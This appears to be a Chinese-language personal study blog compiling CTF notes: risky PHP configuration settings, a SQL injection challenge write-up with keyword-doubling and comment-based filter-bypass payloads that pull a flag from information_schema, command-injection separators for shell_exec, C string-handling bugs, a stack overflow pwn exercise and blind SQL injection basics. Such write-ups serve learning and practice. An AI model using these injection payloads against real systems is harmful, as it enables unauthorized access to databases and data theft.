1.register_globals:全局变量注册开关
会把用户提交的参数初始化并可以直接在脚本中使用。从php5.3.0开始被废弃。
2.allow_url_include:是否允许包含远程文件
开启时可以直接包含远程文件。利用这个可以构造url
如http://localhost/1.php?file=http://..../某个文件。
3.magic_quotes_gpc :魔术引号自动过滤
自动在用户提交参数里的’ “ \ 及空字符前面加上\,但是他并不会过滤$SERVER变量
4.magic_quotes_runtime :魔术引号自动过滤
将从数据库或文件中获取的数据加\
5.open_basedir:可访问目录
限制php,即外部能访问的目录,注意是前缀。
/www/a 的话,/www/ab也能访问,必须设置成/www/a/
平台题目wp
简单的sql注入1:
开始我的纯手工注入
1
发现可以输出id和name,由此可以判断数据库查询输出的只有一行
1‘
发现出错,可以注入
1’ union select database()#
发现除了database()全部被过滤,再测试一下发现他会自动过滤>1个空格的前面的单词。如1 union select会变成1 select
这样我们可以构造两种,一种是双字,一种是利用/**/
1’//union//select/**/database()’或者1’ unionunion selectselect
database()’
其实还有一个坑,就是他过滤了#,可以试一试
1’//union//select//table_name//from//information_schema.tables//where/**/table_shcema=’web1
出错,发现前面web1前面的所有内容都没有了,说明过滤了table_name或者table_schema,后来证明是table_schema,想到双字
1’//union//select//table_name//from//information_schema.tables//where/**/table_schemtable_schemaa=’web1
然后得到表,下面要得字段名
1’//union//select//column_name//from//information_schema.columns//where/**/table_name=’flag
这一次我们很快知道,是由于前面的column_name所以
1’//union//select//column_namcolumn_namee//from//information_scheminformation_schema.columnsa.columns//where/**/table_name=’flag
得到这个不是那么容易…因为我漏掉了from,而且information_schema.columns的拼接让我很纠结。。。
1’//union//select//flag//from//flag//where/**/‘1’=’1
我只能说我这里还有一个坑就是where ‘1’=’1 ,我用了’,然后不行,为什么一开始可以呢,我觉得是一开始是select一段字符串,可以用’’拼接,但是from flag后面不能拼接空字符串。可能这是标准写法。我不懂啊!!!
大概就这样,看了能解答的私信我。
qq:1466742963
ctf中遇到的php函数
最近写web题目,对php又感觉生疏了。
php函数是web题目的重点,所以我打算记录下每次的函数。
1.implode(separator,array)
返回由数组元素组合成的字符串
separator 可选。规定数组元素之间放置的内容。默认是 “”(空字符串)
array 必需。要组合为字符串的数组
2.preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索subject与pattern给定的正则表达式的一个匹配,前两个参数比较重要
pattern:要搜索的模式,字符串类型
subject:输入字符串
matches:如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推
。。
3.shell_exec
当php源码里面有这个服务,可以试着注入。
; && || |
;表示先后执行 &&表示先
pwn学习
C与C++安全编码
有关字符串的一些概念
字符串
c语言中都是以数组存储字符串,以\0作为字符串结尾,低位地址是数组首元素地址,高位地址是数组末元素地址。
sizeof 用来计算数组大小。但是对于数组与指针应用时,sizeof对同一个数组的大小计算不同。果然我们学的是基础的c语言,如果当时学仔细一点,就应该发现这个问题的。
宽字节简单来说就是大一点的字符,需要更多空间。
字符串字面值就是这个字符串的值,宽字符串前缀是L
字符串类型:C语言中字符串常量类型为int
以下结果是4,1.告诉我们C语言中神奇的存储,我以前都没怎么注意说实话…
计算字符串大小
strlen函数是我们经常用来计算字符串元素个数的,但是如果应用于宽字节,就会导致错误。strlen函数一旦遇到空字节就判断字符串结束,但是宽字符包含空字节。所以会产生错误。
字符串的常见错误
最常见的字符串错误:无界字符串复制错误,差一错误,空结尾错误,字符串截断错误。
一、无界字符串复制
例如gets就是一个很麻烦的例子。
当定义数组小于输入字符串时,就会发生错误。
同样的,命令行参数输入,如果复制进定义的数组,但是定义数组空间不够的话,就会发生错误。
二、差一错误
与数组越界类似,预定数组长度不够的情况下会发生。
三、空字符结尾错误
指的是字符串数组没有以正确的空字符结尾。
比如,strncpy复制不超过n个字符,很可能为复制进空字符结尾,这样会导致数组很大很大,超过想象,那么对另一个数组进行操作时,就会发生错误。有时候编译器不会告诉你错误,但是漏洞就会存在。
四、字符串截断
数组长度不足以容纳一个字符串的内容时,会发生字符串截取,程序员为了防止缓冲区溢出,可能会用到字符串截取,有可能会导致丢失数据或者出现漏洞。
五、与函数无关的字符串错误
这个我感觉发生的概率比前几个高。
简略版代码:(略略略)buff[128] buff[i]=a[i] buff[i]=’\0’
字符串漏洞及其利用
一、缓冲区溢出
名字虽然很高深的样子,其实就是数组或者特定分配的内存空间外写进数据,就称为缓冲区溢出。未进行隐式的边界检查。
二、栈管理及栈溢出
基本概念:从C语言来说就是 先进后出 的某个对内存的操作后的内存(= =)
一般来说,弹 出栈 意味着栈指针需要 递增 。栈在压入变量之后一般还会在最后压入返回地址,这意味着一旦这一段结束即可返回。(可能是错的,只是暂时的总结)
栈溢出:由于栈在内存中按顺序存储,一个栈可能存储许多不同类型的数据,包括变量,指针,地址等等。如果用户恶意输入,很可能使得数据泄露或者越过某些数据检验。比如,简单的弧注入攻击。
代码注入:被恶意注入的代码也叫外壳代码,攻击者往往利用某个子例程的返回地址导致栈混乱,从而获取该程序相同的权限,如果是root权限,即是开一个远程shell,获取最高权限。
恶意参数的特征:(感觉很有趣)
|
|
个人觉得第一点是程序写的不好,第二点是你输入的恶意参数必须能干点事,第三点就是你不能输入的参数直接把程序搞崩。
题目
给出了a.out
第一步,反汇编。核心代码如下。
|
|
main函数中跳转到vul函数,重点关注read(0, a, 0x3E8u)这句话,这个是把a的大小放入内存,这样就容易造成栈溢出。
|
|
由char a[100]; // [sp+Ch] [bp-6Ch]@1可知,a的实际内存大小为108再加上ebp的大小一共为112。再跳到xiaoxiannv那个函数。
再就是关于linux命令的知识了。
好玩的sql第五篇
1-4篇是基础知识。 从第五篇开始是盲注的有关知识。
上次的正常显示用户名和密码,这次不管怎么样都是同样的字符串,看来不是 直接输出 查询结果,而是利用 条件判断 来输出结果。
一些小知识
|
|
开始实验五
第一步
|
|
利用 left() 猜解版本、数据库长度、数据库名
第二步
|
|
limit 0,1是表示获取 第一个表 ,获取 第二个表 是limit 1,1